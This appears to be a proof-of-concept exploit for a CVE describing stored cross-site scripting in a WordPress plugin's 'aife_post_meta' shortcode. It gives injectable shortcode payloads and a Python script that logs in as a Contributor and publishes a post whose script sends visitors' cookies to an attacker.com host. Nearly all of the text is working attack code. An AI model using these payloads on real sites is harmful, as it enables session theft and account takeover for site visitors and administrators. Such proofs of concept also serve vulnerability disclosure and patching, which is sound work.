CVE-2025-14030

WordPress Stored XSS via AI Feeds 'aife_post_meta' Shortcode // PoC: Inject malicious script via shortcode [aife_post_meta key='xss' value='<script>alert(document.cookie)</script>'] // Alternative PoC with event handler [aife_post_meta key='xss' value='" onmouseover="alert(String.fromCharCode(88,83,83))" style="position:fixed;top:0;left:0;width:100%;height:100%" onmouseover="'] // Automated exploitation example (Python) import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" # Login with Contributor account session = requests.Session() login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Post", "post_content": "[aife_post_meta key='xss' value='<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>']", "post_status": "publish" } response = session.post(post_url, data=post_data) print("XSS payload injected successfully")

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